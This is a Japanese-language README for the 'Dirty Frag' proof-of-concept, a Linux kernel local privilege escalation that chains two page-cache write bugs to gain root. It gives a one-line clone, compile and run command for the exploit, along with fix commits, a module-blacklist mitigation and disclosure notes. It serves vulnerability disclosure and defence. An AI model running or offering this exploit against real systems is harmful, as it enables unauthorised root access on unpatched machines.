
本書では、Hyunwoo Kim (@v4bel) によって発見・報告された Dirty Frag 脆弱性クラスについて説明します。xfrm-ESP Page-Cache Write (CVE-2026-43284) と RxRPC Page-Cache Write (CVE-2026-43500) を連鎖させることで、攻撃者は主要な Linux ディストリビューション上で root に昇格できます。
Dirty Frag は Dirty Pipe や Copy Fail と同じバグファミリーに属します。これはタイミングウィンドウや競合に依存しない決定的な論理バグであり、失敗してもカーネルパニックを引き起こさず、悪用成功率が非常に高いです。
完全な技術詳細および開示タイムラインについては、付属の解説文書(このリポジトリには含まれていません)を参照してください。
xfrm-ESP Page-Cache Write (CVE-2026-43284) はメインラインのコミット f4c50a4034e6 で修正されました。RxRPC Page-Cache Write (CVE-2026-43500) はメインラインのコミット aa54b1d27fe0 で修正されました。[!NOTE] 本書が最初に公開された時点(2026-05-07)では、外部でエンバーゴは既に破られていました。その時点では、公開パッチやCVEは利用できませんでした。[email protected] のメンテナとの協議の後、Dirty Frag の開示が公開されました。タイムラインについては技術解説を参照してください。
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
このPoCは、linux-distros との調整の後、情報提供目的で共有されています。許可なくシステムに対して実行しないでください。
⚠️ 重要: このエクスプロイトを実行するとページキャッシュが汚染されます。クリーンな状態に戻すには、以下を実行するか、マシンを再起動してください。
echo 3 > /proc/sys/vm/drop_caches
事実上、これらの脆弱性は約9年間にわたって影響を及ぼします。
テスト済みのディストリビューションバージョンは以下の通りです。
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
xfrm-ESP Page-Cache Write は Copy Fail と同様の強力な任意4バイト STORE プリミティブを提供し、多くのディストリビューションで利用可能ですが、それをトリガーするには名前空間を作成する権限が必要です。
Ubuntu では、AppArmor によって非特権ユーザー名前空間の作成が制限され、xfrm-ESP がトリガーできなくなる可能性があります。RxRPC Page-Cache Write は名前空間作成権限を必要としませんが、rxrpc.ko モジュールは多くのディストリビューションでデフォルトで存在しません。ただし、Ubuntu では rxrpc.ko は通常ロードされています。
両方を連鎖させることで互いの欠点を補い、すべての主要なディストリビューションで root を獲得できます。詳細は技術解説を参照してください。
はい。Dirty Frag は "Dirty Pipe" に関連しており、その名前はバグクラスが struct sk_buff の frag メンバーを変更することに由来しています。
Copy Fail がこの研究のきっかけとなりました。Dirty Frag チェーンにおける xfrm-ESP Page-Cache Write は Copy Fail と同じシンクを共有しますが、algif_aead の緩和策が存在する場合でもトリガーされます。したがって、Copy Fail に対して強化されたシステムでも Dirty Frag に対して脆弱である可能性があります。
上記「緩和策」のセクションの手順に従ってください。